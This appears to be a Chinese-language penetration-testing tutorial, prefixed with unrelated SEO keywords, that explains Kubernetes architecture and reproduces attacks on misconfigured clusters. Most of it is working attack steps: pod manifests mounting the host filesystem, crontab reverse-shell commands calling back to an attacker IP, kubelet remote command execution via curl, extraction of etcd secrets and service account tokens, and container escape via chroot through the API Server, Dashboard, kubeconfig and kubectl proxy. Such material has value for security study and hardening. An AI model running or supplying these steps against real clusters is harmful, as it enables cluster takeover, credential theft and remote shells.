哪个着陆页网站,网站建设类合同范本,专业做装修的网站,wordpress图片主题中文版Kubernetes是一个开源的#xff0c;用于编排云平台中多个主机上的容器化的应用#xff0c;目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署#xff0c;规划#xff0c;更新#xff0c;维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的…Kubernetes是一个开源的用于编排云平台中多个主机上的容器化的应用目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署规划更新维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着管理员可以加载一个微型服务让规划器来找到合适的位置同时Kubernetes在系统提升工具以及人性化方面让用户能够方便的部署自己的应用。常见的kubernetes集群结果如下图所示 Master节点
Master节点是Kubernetes集群的控制节点每个Kubernetes集群里至少有一个Master节点它负责整个集群的决策如调度发现和响应集群的事件。Master节点可以运行在集群中的任意一个节点上但是最好将Master节点作为一个独立节点不在该节点上创建容器因为如果该节点出现问题导致宕机或不可用整个集群的管理就会失效。
在Master节点上通常会运行以下服务
kube-apiserver: 部署在Master上暴露Kubernetes API是Kubernetes的控制面。etcd: 一致且高度可用的Key-Value存储用作Kubernetes的所有群集数据的后备存储。kube-scheduler: 调度器运行在Master上用于监控节点中的容器运行情况并挑选节点来创建新的容器。调度决策所考虑的因素包括资源需求硬件/软件/策略约束亲和和排斥性规范数据位置工作负载间干扰和最后期限。kube-controller-manager控制和管理器运行在Master上每个控制器都是独立的进程但为了降低复杂性这些控制器都被编译成单一的二进制文件并以单独的进程运行。 Node节点
Node 节点是 Kubernetes 集群的工作节点每个集群中至少需要一台Node节点它负责真正的运行Pod当某个Node节点出现问题而导致宕机时Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上也可以运行在虚拟机中。 在Node节点上通常会运行以下服务
kubelet: 运行在每一个 Node 节点上的客户端负责Pod对应的容器创建启动和停止等任务同时和Master节点进行通信实现集群管理的基本功能。kube-proxy: 负责 Kubernetes Services的通信和负载均衡机制。Docker Engine: 负责节点上的容器的创建和管理。
Node节点可以在集群运行期间动态增加只要整个节点已经正确安装配置和启动了上面的进程。在默认情况下kubelet会向Master自动注册。一旦Node被接入到集群管理中kubelet会定时向Master节点汇报自身的情况操作系统Docker版本CPU内存使用情况等这样Master便可以在知道每个节点的详细情况的同时还能知道该节点是否是正常运行。当Node节点心跳超时时Master节点会自动判断该节点处于不可用状态并会对该Node节点上的Pod进行迁移。 pod
Pod是Kubernetes最重要也是最基本的概念一个Pod是一组共享网络和存储可以是一个或多个的容器。Pod中的容器都是统一进行调度并且运行在共享上下文中。一个Pod被定义为一个逻辑的host它包括一个或多个相对耦合的容器。
Pod的共享上下文实际上是一组由namespace、cgroups, 其他资源的隔离的集合意味着Pod中的资源已经是被隔离过了的而在Pod中的每一个独立的container又对Pod中的资源进行了二次隔离。 Replication Controller
Replication Controller确保任意时间都有指定数量的Pod“副本”在运行。如果为某个Pod创建了Replication Controller并且指定3个副本它会创建3个Pod并且持续监控它们。如果某个Pod不响应那么Replication Controller会替换它保持总数为3。 二、K8s风险点
在攻防演练中常常碰到云相关的场景例公有云、私有云、混合云、虚拟化集群等。
常见渗透路径外网突破-提权-权限维持-信息收集-横向移动-循环收集信息直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局也打开了新的入侵路径例如
1、通过虚拟机攻击云管理平台利用管理平台控制所有机器
2、通过容器进行逃逸从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
3、利用KVM-QEMU/执行逃逸获取宿主机进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多仅有一些厂商发布过相关矩阵技术但没有过多的细节展示
根据以往的渗透测试经验梳理了 K8S 集群架构下可能存在的安全问题并在如图1的 K8S 集群基础架构图中标注了潜在的攻击点 三、K8s集群判断
黑盒测试中可以通过开放端口来判断当前目标是否是K8s集群这些端口也是可能存在风险的端口 四、漏洞复现
4.1 攻击K8S组件
K8S 组件的问题主要是指各组件的不安全配置攻击点1~4罗列了4个比较有代表性的组件问题即 API Server 未授权访问、etcd 未授权访问、kubelet 未授权访问、kube-proxy 不安全配置。
各个组件存在隐患的默认端口供参考 4.1.1 8080端口API Server未授权访问 master节点
旧版本的k8s的API Server默认会开启两个端口8080和6443。6443是安全端口安全端口使用TLS加密但是8080端口无需认证仅用于测试。6443端口需要认证且有 TLS 保护。k8s1.16.0新版本k8s默认已经不开启8080。
需要更改kube-apiserver.yaml相应的配置
cd /etc/kubernetes/manifests/
vi kube-apiserver.yaml
加入
- --insecure-port8080
- --insecure-bind-address0.0.0.0 然后重启kubelet
systemctl restart kubelet 此时访问8080就可以发现未授权访问 漏洞利用反弹shell
可使用官方的工具进行利用
下载地址安装工具 | Kubernetes
这里我用的是windows版本的进行演示
获取nodes节点
kubectl.exe -s 192.168.19.58:8080 get nodes
获取pods
kubectl.exe -s 192.168.19.58:8080 get pods 创建 创建Pod 文件。通过未授权访问在node节点上创建一个pod
kubectl -s 192.168.19.58:8080 create -f test.yaml 注意test.yaml 文件要放在当前目录下 内容如下
apiVersion: v1
kind: Pod
metadata:name: test
spec:containers:- image: nginxname: test-containervolumeMounts:- mountPath: /mntname: test-volumevolumes:- name: test-volumehostPath:path: / 进入创建的容器
kubectl -s 192.168.19.58:8080 --namespacedefault exec -it test bash 反弹shell
echo -e * * * * * root bash -i /dev/tcp/192.168.19.132/4444 01\n /mnt/etc/crontab 等待1分钟即可收到反弹的shell 直接拿到node1的节点权限 4.1.2 攻击6443端口 API Server未授权访问 master节点
一些集群由于鉴权配置不当将system:anonymous用户绑定到cluster-admin用户组从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
正常访问6443端口应该是没有未授权的如下图所示 环境准备
master节点执行命令
kubectl create clusterrolebinding system:anonymous --clusterrolecluster-admin --usersystem:anonymous 然后再访问6443端口即可出现未授权访问 漏洞利用
创建Pod
可以使用一些发包工具构造数据包发包可以使用burp或者Postman之类的工具。
这里演示使用Postman发包
https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST
{apiVersion:v1,kind:Pod,metadata:{annotations:{kubectl.kubernetes.io/last-applied-configuration:{\apiVersion\:\v1\,\kind\:\Pod\,\metadata\:{\annotations\:{},\name\:\test02\,\namespace\:\default\},\spec\:{\containers\:[{\image\:\nginx:1.14.2\,\name\:\test02\,\volumeMounts\:[{\mountPath\:\/host\,\name\:\host\}]}],\volumes\:[{\hostPath\:{\path\:\/\,\type\:\Directory\},\name\:\host\}]}}\n},name:test02,namespace:default},spec:{containers:[{image:nginx:1.14.2,name:test02,volumeMounts:[{mountPath:/host,name:host}]}],volumes:[{hostPath:{path:/,type:Directory},name:host}]}}
kubectl get pods 返回201 创建成功使用kubectl查看pods, 这里执行命令需要输入账号密码随便输入即可
kubectl --insecure-skip-tls-verify -s https://192.168.19.58:6443 get pods 执行Pods这里执行命令需要输入账号密码随便输入即可
kubectl --insecure-skip-tls-verify -s https://192.168.19.58:6443 --namespacedefault exec -it test02 bash 执行定时任务反弹shell (此时挂载目录和之前不一样所以反弹命令有些区别)
echo -e * * * * * root bash -i /dev/tcp/192.168.19.132/4444 01\n /host/etc/crontab
等一两分钟后直接拿到node1节点的权限 4.1.3 攻击10250端口kubelet未授权访问 node节点
正常访问node节点10250端口pods如图所示不存在未授权访问 未授权环境准备
修改node节点 /var/lib/kubelet/config.yaml 文件
修改authentication anonymous 下enabled值为 true, authorization mode值为AlaysAllow 重启 kubelet进程
systemctl restart kubelet 访问https://192.168.19.60:10250/runningpods/
获取 pod namespace container三个值 远程命令执行
curl -XPOST -k https://192.168.19.60:10250/run/default/test02/test02 -d cmdid 此时执行命令还是在容器里面需要配合容器逃逸漏洞进行容器逃逸提权等后渗透操作。 4.1.4 etcd未授权访问 master节点
etcd 介绍
Etcd 是一个具有强一致性的分布式 key-value 存储组件 (也是一个高可用的分布式键值对数据库)。采用类似目录结构的方式对数据进行存储仅在叶子结点上存储数据叶子结点的父节点为目录不能存储数据。它为 k8s 集群提供底层数据存储。多数情形下数据库中的内容没有经过加密处理一旦 etcd 被黑客拿下就意味着整个 k8s 集群失陷。
攻击2379端口默认通过证书认证主要存放节点的数据如一些token和证书。
正常默认安装etcd只允许本地访问外界无法访问 第一种没有配置指定--client-cert-auth 参数打开证书校验暴露在外Etcd服务存在未授权访问风险。
第二种在打开证书校验选项后通过本地127.0.0.1:2379可免认证访问Etcd服务但通过其他地址访问要携带cert进行认证访问一般配合ssrf或其他利用较为鸡肋。
只能本地访问直接未授权访问获取secrets和token利用
第三种实战中在安装k8s默认的配置2379只会监听本地如果访问没设置0.0.0.0暴露那么也就意味着最多就是本地访问不能公网访问只能配合ssrf或其他。
只能本地访问利用ssrf或其他进行获取secrets和token利用
漏洞复现
参考https://www.cnblogs.com/qtzd/p/k8s_etcd.html
环境搭建
etcd集群部署在虚拟机中的docker下
虚拟机环境ubuntu18.06
虚拟机IP: 192.168.19.61
首先拉取镜像
docker pull quay.io/coreos/etcd:v3.3.1
# 查看镜像
docker images 创建自定义网络 docker network create --driver bridge --subnet172.16.1.0/16 --gateway172.16.1.1 mynet
# 查看网络
docker network ls 创建etcd节点
节点1:
docker run -d -p 23791:2379 -p 23801:2380 \
--name etcdnode1 \
--networkmynet \
--ip 172.16.2.1 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode1 \
-advertise-client-urls http://172.16.2.1:2379 \
-initial-advertise-peer-urls http://172.16.2.1:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state new 节点2
docker run -d -p 23792:2379 -p 23802:2380 \
--name etcdnode2 \
--networkmynet \
--ip 172.16.2.2 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode2 \
-advertise-client-urls http://172.16.2.2:2379 \
-initial-advertise-peer-urls http://172.16.2.2:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state new 节点3:
docker run -d -p 23793:2379 -p 23803:2380 \
--name etcdnode3 \
--networkmynet \
--ip 172.16.2.3 \
quay.io/coreos/etcd:v3.3.1 \
etcd -name etcdnode3 \
-advertise-client-urls http://172.16.2.3:2379 \
-initial-advertise-peer-urls http://172.16.2.3:2380 \
-listen-client-urls http://0.0.0.0:2379 \
-listen-peer-urls http://0.0.0.0:2380 \
-initial-cluster-token etcd-cluster \
-initial-cluster etcdnode1http://172.16.2.1:2380,etcdnode2http://172.16.2.2:2380,etcdnode3http://172.16.2.3:2380 \
-initial-cluster-state new 配置项参数说明
–nameetcd集群中的节点名这里可以随意可区分且不重复就行
–listen-peer-urls监听的用于节点之间通信的url可监听多个集群内部将通过这些url进行数据交互(如选举数据同步等)
–initial-advertise-peer-urls建议用于节点之间通信的url节点间将以该值进行通信。
–listen-client-urls监听的用于客户端通信的url同样可以监听多个。
–advertise-client-urls建议使用的客户端通信 url该值用于 etcd 代理或 etcd 成员与 etcd 节点通信。
–initial-cluster-token etcd-cluster-1节点的 token 值设置该值后集群将生成唯一 id并为每个节点也生成唯一 id当使用相同配置文件再启动一个集群时只要该 token 值不一样etcd 集群就不会相互影响。
–initial-cluster也就是集群中所有的 initial-advertise-peer-urls 的合集。
–initial-cluster-statenew新建集群的标志
# 查看docker进程
docker ps 未授权访问利用
使用官方提供的etcdctl直接用命令行即可访问etcd无需去了解每个http api。 下载etcdReleases · etcd-io/etcd · GitHub 刚刚搭建好了etcd环境默认端口是2379刚刚搭建好的环境node节点端口为237912379223793
v2版本api的利用比如
直接访问http://ip:2379/v2/keys/?recursivetrue 可以看到所有的key-value值。 etcd v3版本的api和v2版本完全不同所以访问上面的url不会看到任何数据。这里主要简单介绍一下v3版本api的使用。
搭建好上面的测试环境后可以执行以下命令向etcd中插入几条测试数据
etcdctl --endpoints192.168.19.61:23791 put /testdir/testkey1 Hello world1
etcdctl --endpoints192.168.19.61:23791 put /testdir/testkey2 Hello world2
etcdctl --endpoints192.168.19.61:23791 put /testdir/testkey3 Hello world3 执行下面命令即可读取etcd中存储的所有数据(在keys中查找敏感key)
etcdctl --endpoints192.168.19.61:23791 get / --prefix 然后就可以查看指定key的值
etcdctl --endpoints192.168.19.61:23791 get /testdir/testkey1 -prefix用来指定前缀上述命令的意思就是获取所有“/”作为前缀的key value值
如果结果过多还可以通过--limit选项限制数量
etcdctl --endpoints192.168.19.61:23791 get / --prefix --limit2
下面命令可用于列出当前目标所属同一集群的所有节点
etcdctl --endpoints192.168.19.61:23791 member list 未授权访问可能产生的风险
kubernetes的master会安装etcd v3用来存储数据如果管理员进行了错误的配置导致etcd未授权访问的情况那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token从而接管集群。
在真实的场景中还有一些应用使用etcd来存储各种服务的账号密码、公私钥等敏感数据。而很多etcd服务的使用者完全没有考虑过其安全风险这种情况和redis的使用情况差不多在企业内网比较普遍甚至也有少部分人会将其开放到公网。 由于复现环境没有secrets,token信息无法复现给出后续利用步骤
获取k8s的secrets
etcdctl --endpoints192.168.19.61:23791 get / --prefix --keys-only | grep /secrets/读取service account token:
etcdctl --endpoints192.168.19.61:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
etcdctl --endpoints192.168.19.61:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z通过token访问API-Server获取集群的权限
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --tokeney... -n kube-system get pods 4.1.5 8001端口Dashboard未授权访问
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况
一种是在本身就存在着不需要登录的http接口但接口本身并不会暴露出来如接口被暴露在外就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦修改了配置文件使得安全接口https的dashboard页面可以跳过登录。
复现利用
*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
*Kubernetes-dashboard绑定cluster-admin拥有管理集群的最高权限
1、安装kubernetes -- 搭建 DashBoard_kubedashboard-CSDN博客
2、启动kubectl create -f recommended.yaml
3、卸载kubectl delete -f recommended.yaml
4、查看kubectl get pod,svc -n kubernetes-dashboard
5、利用新增Pod后续同前面利用一致
*找到暴露面板-dashboard跳过-创建或上传pod-进入pod执行-利用挂载逃逸
apiVersion: v1
kind: Pod
metadata:name: xiaodisec
spec:containers:- image: nginxname: xiaodisecvolumeMounts:- mountPath: /mntname: test-volumevolumes:- name: test-volumehostPath:path: / 4.1.6 Configfile鉴权文件泄漏 攻击者通过Webshell、Github等拿到了K8s配置的Config文件操作集群从而接管所有容器。K8s configfile作为K8s集群的管理凭证其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等)就可以直接通过API Server接管K8s集群带来风险隐患。用户凭证保存在kubeconfig文件中通过以下顺序来找到kubeconfig文件
-如果提供了--kubeconfig参数就使用提供的kubeconfig文件
-如果没有提供--kubeconfig参数但设置了环境变量$KUBECONFIG则使用该环境变量提供的kubeconfig文件
-如果以上两种情况都没有kubectl就使用默认的kubeconfig文件~/.kube/config *复现利用
*K8s-configfile-创建Pod/挂载主机路径-Kubectl进入容器-利用挂载逃逸
1、将获取到的config复制
2、安装kubectl使用config连接
安装在 Linux 系统中安装并设置 kubectl | Kubernetes
连接kubectl -s https://192.168.139.130:6443/ --kubeconfigconfig --insecure-skip-tls-verifytrue get nodes
3、上传利用test.yaml创建pod
kubectl apply -f test.yaml -n default --kubeconfigconfig
4、连接pod后进行容器挂载逃逸
kubectl exec -it xiaodisec bash -n default --kubeconfigconfig
cd /mnt
chroot . bash 4.1.7 Kubectl Proxy不安全配置
当运维人员需要某个环境暴露端口或者IP时会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上 环境搭建
kubectl --insecure-skip-tls-verify proxy --accept-hosts^.*$ --address0.0.0.0 --port8009 *复现利用
*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
*找到暴露入口点根据类型选择合适方案
kubectl -s http://192.168.139.130:8009 get pods -n kube-system